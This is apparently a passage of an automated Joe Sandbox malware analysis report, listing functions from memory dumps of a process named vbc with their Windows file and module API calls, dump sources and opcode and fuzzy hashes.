Opcode Fuzzy Hash: dbeccbb1e440ce99f5ef2ad825e030d6aacc06ae2a9ce4ab3ef7df8abfd2a532
Instruction Fuzzy Hash: 1D3199B8D012599FCF14CFA9D980ADEFBB1FB49310F14942AE815B7210D735AA45CF54

Function 00F4AE8F Relevance: 1.6, APIs: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,0000004C), ref: 00F4B042

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 74eec8388118ea0c6b52f2e0407483d0f6435f9b52837dac0ade387d43ae7df4
Instruction ID: e0ee49bf8466848ae79395f8eb10cd83f264c82a7e044e9d53c3585ef87e6329
Opcode Fuzzy Hash: 74eec8388118ea0c6b52f2e0407483d0f6435f9b52837dac0ade387d43ae7df4
Instruction Fuzzy Hash: 06312F61D8D3C19FD7368B2988147677F605BA3331F0D458AE8958A1E3D2789D08E763

Function 00F50106 Relevance: 1.6, APIs: 1, Instructions: 82fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00F4E7F4

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a9278130c121048de0ea45687cfb38a6164350fd03b3462f0f064007cbea1d16
Instruction ID: e932c2c95268267490033cda63ce31597203fc58cfbe90a592f21d68b7bcfe2d
Opcode Fuzzy Hash: a9278130c121048de0ea45687cfb38a6164350fd03b3462f0f064007cbea1d16
Instruction Fuzzy Hash: 33215C25D093415BDB364F2888547757FA07F52331F4D03AADE64CA1E6EA258D0CF662

Function 09F1C3AC Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(?), ref: 09F1D6BA

Memory Dump Source

Source File: 00000009.00000002.2755656125.0000000009F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9f10000_vbc.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 74e546c008cf8cf0d2e8b62bf23efd1b51a74dbd296603a8b6bd54e445a2f5d4
Instruction ID: cc4b17eeaf1415f632aed6d33d679f432d7a58e3bd208219d7444824cf00733f
Opcode Fuzzy Hash: 74e546c008cf8cf0d2e8b62bf23efd1b51a74dbd296603a8b6bd54e445a2f5d4
Instruction Fuzzy Hash: 1C31AAB4D012499FCB14CFAAD884ADEFBF5EB49314F14906AE818B7360D334A945CFA4

Function 00F4FBC6 Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb7ea9a2a92149bdc215ad818d6e2914b5d6b7efd128aa789b29b73cc8591988
Instruction ID: 4df9be2dfe3b97fe76e61db06c57ef25bab7ff86800e7fde6ca91389b88158ea
Opcode Fuzzy Hash: fb7ea9a2a92149bdc215ad818d6e2914b5d6b7efd128aa789b29b73cc8591988
Instruction Fuzzy Hash: 4E21B134D087898FDB298E18C09463ABFA0BF91774F5848B9ED4D4A261D7348D4EB742

Function 00F4B6FB Relevance: 1.6, APIs: 1, Instructions: 78fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?), ref: 00F4B777

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: dc72eaa7cad9d6f175ed41f62ed7a08c3eea0282c80f4b4cd629aaf453f3e17d
Instruction ID: 091412adfc9a8c0a7db44332d0d97dea5d3476587ea84877626657eb6874950c
Opcode Fuzzy Hash: dc72eaa7cad9d6f175ed41f62ed7a08c3eea0282c80f4b4cd629aaf453f3e17d
Instruction Fuzzy Hash: 23217121D0C3846ACF368A288C54775BFA89BA2374F4D408AEC90862A7D379CD04F762

Function 00F4BB0A Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4BDD4

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3fbf9660bd707454e24f3d31928af1fc381ea1d942e73c690010abf11ea828c7
Instruction ID: 9dc75d08423d5073264e2e8dddd13949ad2e98fcbcf93dc9b68fe79cb7906a75
Opcode Fuzzy Hash: 3fbf9660bd707454e24f3d31928af1fc381ea1d942e73c690010abf11ea828c7
Instruction Fuzzy Hash: 6521A161C0D7414FDB265E3988992753FA0AB62331F49459ADD80CA167E728CC05BB52

Function 00F4F6D1 Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4F6E1

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1cba29fd25db952e43673c313fcce072412cc756ed8c462d05c25f2761ff4269
Instruction ID: 355d039d88271ac1d7bc024db183a42c1150b7b7bf65e3536b5b8342151634bc
Opcode Fuzzy Hash: 1cba29fd25db952e43673c313fcce072412cc756ed8c462d05c25f2761ff4269
Instruction Fuzzy Hash: 30219F65D0D3C25FDB324B1488546766FA07FA3734F4E46AADCA4850E3E6689C0CB312

Function 00F4BE66 Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 935beb9be1ea7728b73972e20dd7a0a746ede8f80c1c2e344ca367b1ab3febd4
Instruction ID: 6c6d9d22b217441b7eb501e3b331dc0c2b3820ebc25515f2bb9f84ea6a49f994
Opcode Fuzzy Hash: 935beb9be1ea7728b73972e20dd7a0a746ede8f80c1c2e344ca367b1ab3febd4
Instruction Fuzzy Hash: 83213721C4E3409BD7B682584D5877A7FA0AB61770F4C244DDC844B9A2D6A5AC06B3A3

Function 00F4AD4D Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000000,?), ref: 00F4C65E

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 038f3b6879a995de064d936d589c0d7a2b7ed9833ebd4d32dd9939c3d0bcac3f
Instruction ID: dd793026af93d38a1441f80178739ed27daba7ef1bc41f296d222d2cec4b64cf
Opcode Fuzzy Hash: 038f3b6879a995de064d936d589c0d7a2b7ed9833ebd4d32dd9939c3d0bcac3f
Instruction Fuzzy Hash: AF112366D8E3825FDB2A17645C453BA3F705F62331F4C15A2ED82854A3EA448C06B253

Function 00F4ADB6 Relevance: 1.6, APIs: 1, Instructions: 61fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000000,?), ref: 00F4C65E

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f2b4a235e06b263164734e0d39665d53f089e7e10f2ac264a28c8bf9afc276ab
Instruction ID: e69b32232031abedd38d1619a4e778234b82551a21d96d38d0d6e863dcc44432
Opcode Fuzzy Hash: f2b4a235e06b263164734e0d39665d53f089e7e10f2ac264a28c8bf9afc276ab
Instruction Fuzzy Hash: 7E117C11D8E3C25FE767066868152763F745E23331F091493DC82CA8A3E6458C09B363

Function 00F4E687 Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00F4E8D6

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: a69287a9640d5f6327c1b7379543b300b90b9d05c5caf2fe588bdf46a1eaba6c
Instruction ID: 8f99fca9d83f08831c52e4176086f9174029f0a92dbeca627ad4f6a20520edac
Opcode Fuzzy Hash: a69287a9640d5f6327c1b7379543b300b90b9d05c5caf2fe588bdf46a1eaba6c
Instruction Fuzzy Hash: 9A012872D082419BDF308B088849ABA3F20FBA4B70F1C461EFC95821E1D2319C08B753

Function 00F4E2F8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

FindClose.KERNEL32 ref: 00F4E34F

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 703d17691b7307e70f2b25997b32f1b3fcb8a4cb8797505cf654474dc3d83484
Instruction ID: 1dcb48a9d9681834de311f264824b61b88df4cbc8c7acf79fb6d27e02704759f
Opcode Fuzzy Hash: 703d17691b7307e70f2b25997b32f1b3fcb8a4cb8797505cf654474dc3d83484
Instruction Fuzzy Hash: FDF0C838E4430466EB2099144C07ABA7D9CB7E0F75FC448A5FC8542091E7D9EE087523

Function 00F4BD26 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4BDD4

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4e4fd54514973512f93265a61edde18862c82f0d621bb6a14100ced0b0be0415
Instruction ID: e76f0a02a90c15d51ee4890b01759445ccf6e737a6174d91f75c188ff59553b3
Opcode Fuzzy Hash: 4e4fd54514973512f93265a61edde18862c82f0d621bb6a14100ced0b0be0415
Instruction Fuzzy Hash: E201D262C0E3415ECB258F2988983747FA0AB62330F4D49CADEC48A1A7E324CC04BB52

Function 00F46086 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4608C

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: b13e0412e8888e6e6b355afdb1a5a6be3d08ea1c8c8991775394c3ecf76f0cba
Instruction ID: f62eba5c49047b8f5b42727ff45058438ccb61b4170a3d9d3feb4d45e248eb28
Opcode Fuzzy Hash: b13e0412e8888e6e6b355afdb1a5a6be3d08ea1c8c8991775394c3ecf76f0cba
Instruction Fuzzy Hash: 09016DA1D0D7409FCB259B2884043767FB06F97B70F098A8AAD85DB1A3D6308C08BB53

Function 00F4E7EF Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00F4E7F4

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: c6af43f2f85737f6ed52366144c0663ce167c6942f7f6ca1091dfd0fcd1bc8ae
Instruction ID: 973d5856be2afc6d86483889751ae7535cce9c0b0948bb71347feb621388e322
Opcode Fuzzy Hash: c6af43f2f85737f6ed52366144c0663ce167c6942f7f6ca1091dfd0fcd1bc8ae
Instruction Fuzzy Hash: 3CF0F630E493810FDF628A2888947787FA5BF56B20F5D0496EC40C71E1E925DC04F327

Function 00F4B6E9 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32 ref: 00F4B4E6
ReadFile.KERNELBASE(?,?), ref: 00F4B777

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: b81e6726e7147134c5d74f3e289a5222736921b2bcb811c31b0f5190a8d0d9be
Instruction ID: b720d42e05ff71231fddd29bc223a5106769c5b1385075e5754d6333c79243f1
Opcode Fuzzy Hash: b81e6726e7147134c5d74f3e289a5222736921b2bcb811c31b0f5190a8d0d9be
Instruction Fuzzy Hash: 75F03C72D0D3869FDB228F209C106757F68AB96730F09089AED408A1A3D324CD19F722

Function 00F4BC55 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4BDD4

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 35603b09a704741041ff778f85f582e6087e8fec906d7224514772899d4b8579
Instruction ID: 1f177e49a8a084a2d01d8957d0fe77fc11140831e30de39e6d3aa208fb73e1ee
Opcode Fuzzy Hash: 35603b09a704741041ff778f85f582e6087e8fec906d7224514772899d4b8579
Instruction Fuzzy Hash: FD01C261C0D3819ED726DF2D842832B7FE05BA2334F49498DE9C086197D379C94DA793

Function 00F4CF75 Relevance: 1.5, APIs: 1, Instructions: 32fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00F4D3D2

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 56bbaf3b29c88dc6c1b99d7b31f1087f21b7f7da1fe97c986e51aeb79dcd7c26
Instruction ID: 44c4f850ae16f973a5e01601b7ab34ce1d694cd806f4309cdb16fa041ec16eaf
Opcode Fuzzy Hash: 56bbaf3b29c88dc6c1b99d7b31f1087f21b7f7da1fe97c986e51aeb79dcd7c26
Instruction Fuzzy Hash: 80F08C21D0B2409FEB718A28C808A7D7FA96741374F8C6566EC60970B1E738CD05BBE2

Function 00F4EE68 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 493af7f4ab494f1ccc7a1dd380d7c0188d1ade502655c4d8e2487eaf449b3dbd
Instruction ID: d12a1df10958b5618ecd60aa7bca07b2faea503528aa3477e09810e82329b7c6
Opcode Fuzzy Hash: 493af7f4ab494f1ccc7a1dd380d7c0188d1ade502655c4d8e2487eaf449b3dbd
Instruction Fuzzy Hash: 24F02732C08202E6DB318A58CC04B7A7E507790330F290B3BFE2D400E1E6755D0CB643

Function 00F44B70 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00F44B76

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: ee86f944570715989b0705386ccc5728ae79186a4a2428f9d2f7adef46ef7b6a
Instruction ID: a0c960a950a385429ac3e0259bafe29ee2421d745cb74183f7cd8a7ac04d02d5
Opcode Fuzzy Hash: ee86f944570715989b0705386ccc5728ae79186a4a2428f9d2f7adef46ef7b6a
Instruction Fuzzy Hash: 90E0922AD09542A6DE3183288D96374AE10BB11331FDD0693AE22B78E78659BE81B553

Function 00F4C271 Relevance: 1.5, APIs: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000000,?), ref: 00F4C65E

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: cb2ed9525345ef2913c2e152d8086b1a1c9c680d5159840467a551f06320751a
Instruction ID: 6b996d15a69a1e340430e126569453f933278961644ffda1ae1a1d6949769b23
Opcode Fuzzy Hash: cb2ed9525345ef2913c2e152d8086b1a1c9c680d5159840467a551f06320751a
Instruction Fuzzy Hash: F2F0652440E3C66FD753077498197A67FE5AF63374F096486DC80C6063E7948C15E752

Function 00F4FE41 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4FE66

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: b99228d8cf271417cf073ae8d4e1b06aa863b2fb9f8ef7031e383e05b5f96f58
Instruction ID: 5e89fbe73306df4d4af3328a10da4916a1fd3834fb4cad9d8b5cff3707c80ea5
Opcode Fuzzy Hash: b99228d8cf271417cf073ae8d4e1b06aa863b2fb9f8ef7031e383e05b5f96f58
Instruction Fuzzy Hash: 17E0E521C04711ABC3204B09CC1DB3BBEE8AF91737F5A480CDF8845061CBB08C0CB692

Function 00F4B079 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4B08B

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 31ff1c43965f2e2b8abaeb18ab7e281c92f1a9e53eb879baaf3707e51aa944b5
Instruction ID: f0a362037ddf045f9f44d5e4f0454fe9ffb7d72f61de25cfa092ab0ecd3dfd57
Opcode Fuzzy Hash: 31ff1c43965f2e2b8abaeb18ab7e281c92f1a9e53eb879baaf3707e51aa944b5
Instruction Fuzzy Hash: 66E0EDB5E49300CBE7258B468818B37BF608FA2731F08820DDC36462E2C3789C09AA13

Function 00F49A08 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F49A3D

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: cfe07ba302f4376a22d07a112c96459957e6b163bd0db5c98f841ea20d534aa5
Instruction ID: 2efe3475fe741e42b69d6f7d659dcbff08d4f7e4f0d29bec9ef4f79b41e566b3
Opcode Fuzzy Hash: cfe07ba302f4376a22d07a112c96459957e6b163bd0db5c98f841ea20d534aa5
Instruction Fuzzy Hash: 22E0E56694E3C25FD30307601C252A13FB09E43110B5A89D7D8C48A4A3C21C151EDB23

Function 00F4B35C Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4B33B

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 008f1bf14851344518dde056cf710bcf0cc768ad2770c8415756519478260f85
Instruction ID: 8d9d1be8a1149b087fa6b9f0103dd7012d890e57a97ec258a9824b0febecd480
Opcode Fuzzy Hash: 008f1bf14851344518dde056cf710bcf0cc768ad2770c8415756519478260f85
Instruction Fuzzy Hash: 16F0157044E3C59FE7024F6198283697FB0AF93210F9942CBD8A18B1E3C3788508EB62

Function 00F49CB9 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?), ref: 00F49888

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1dd650de6be0da22d35deb2c002320e127e27ae010829eccbdbc551b8856c8e1
Instruction ID: 98f06221d318bb7809733c0d2bd4f0623db682a6c01667779574cee33f906984
Opcode Fuzzy Hash: 1dd650de6be0da22d35deb2c002320e127e27ae010829eccbdbc551b8856c8e1
Instruction Fuzzy Hash: 0AE0DF30F0DA12ABC6268E648889EB77FA5FF91B24F64051CEC518B090CBE4D805F751

Function 00F4E7AB Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4E7B4

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7d3d6f5b5f969928d95597f190341564c11489168e90df52aadd8b860d18d205
Instruction ID: b385b493ab8d871ae189ad99a69af4b09dc9f1a0140d401270a055603cf60ab4
Opcode Fuzzy Hash: 7d3d6f5b5f969928d95597f190341564c11489168e90df52aadd8b860d18d205
Instruction Fuzzy Hash: 66E09231D0EB864ADB664A2A880A3A53FA07F233B0B09479ADCF5861D1C710D918E711

Function 00F4B75E Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?), ref: 00F4B777

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: dd9a96de33f04dbe398beb7b31e344418af4a9b6ee74816e1c1b8e1da8412f3c
Instruction ID: 25ff7f77a564519a33817498f55df453a8e28b98deb88b53226a0a1494db8521
Opcode Fuzzy Hash: dd9a96de33f04dbe398beb7b31e344418af4a9b6ee74816e1c1b8e1da8412f3c
Instruction Fuzzy Hash: F9E08C33E082825BCB114B689C145A87F24EA91331F080466EE00C6067D325CE08EB91

Function 00F49A85 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F49A3D

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 29c4b7febdfc29949c08a1ed2fbf76035dac491a96ddd8eb9a922fcfe4cc18ca
Instruction ID: 0410960e9744f42ec5a852d9ede0bda64faa1f0371abe6649d8569dd93e526d6
Opcode Fuzzy Hash: 29c4b7febdfc29949c08a1ed2fbf76035dac491a96ddd8eb9a922fcfe4cc18ca
Instruction Fuzzy Hash: F8E04F7094C7429FD3024F208804397BFE0FF96724F409949EDC485041E7BC4484EB43

Function 00F4A5E0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4A5FB

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 023de8fbe69e681f3e0e9196a55ee3b372ff6bf1a5cae3c5879f434fbf31ccfe
Instruction ID: f75a79706c9793484096915f1f88ffb5c19f5312633280ec62d1cbd8a029708c
Opcode Fuzzy Hash: 023de8fbe69e681f3e0e9196a55ee3b372ff6bf1a5cae3c5879f434fbf31ccfe
Instruction Fuzzy Hash: 91D0A9B2A0C7018BD700CF00988837AFBE0FB85310F00982EEA8A02280E7B54488FB03

Function 00F4B80F Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00F4B82E

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: b056509ead364be8d131f1d07558fcec7e68cae0d362a295ecab7e0dac22b6ca
Instruction ID: afd5351c16bd8d3214f100b390c51bb2592c37e35d57f28e7a5c581517f71fb1
Opcode Fuzzy Hash: b056509ead364be8d131f1d07558fcec7e68cae0d362a295ecab7e0dac22b6ca
Instruction Fuzzy Hash: E3D0A934009347AA97036A405C889B93B24BEC3320B5442AAF8A1041E2832C482AB722

Function 00F4C13D Relevance: 1.5, APIs: 1, Instructions: 9fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00F4C14B

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a22fd4684bcd025d9d875fe7eb221d981aed75c7b1b53597d92982027d44c515
Instruction ID: e5746117e74c4f8965fb07f544566e2b7f97b9b2db4fe78c808a1e92b9fc67a3
Opcode Fuzzy Hash: a22fd4684bcd025d9d875fe7eb221d981aed75c7b1b53597d92982027d44c515
Instruction Fuzzy Hash: 7CC08C2150E7C71FD703033028281497F613D031583CD00C7C4D0CA0DB828A40088B52

Function 00F4F260 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 00F4F26C

Memory Dump Source

Source File: 00000009.00000002.2648945489.0000000000F44000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f44000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: f33ebe2f7134118f245645ea1797016b149447cbc0fbf348ae3c45991ab4a465
Instruction ID: f8287c26822fd91a0aa8271af4058af3314d2d3da86f6c9d708bb702029bb548
Opcode Fuzzy Hash: f33ebe2f7134118f245645ea1797016b149447cbc0fbf348ae3c45991ab4a465
Instruction Fuzzy Hash: D0C09B361452465FE70097D4DC5B7813FE0FE073107C90481994087150CB68A016EB02

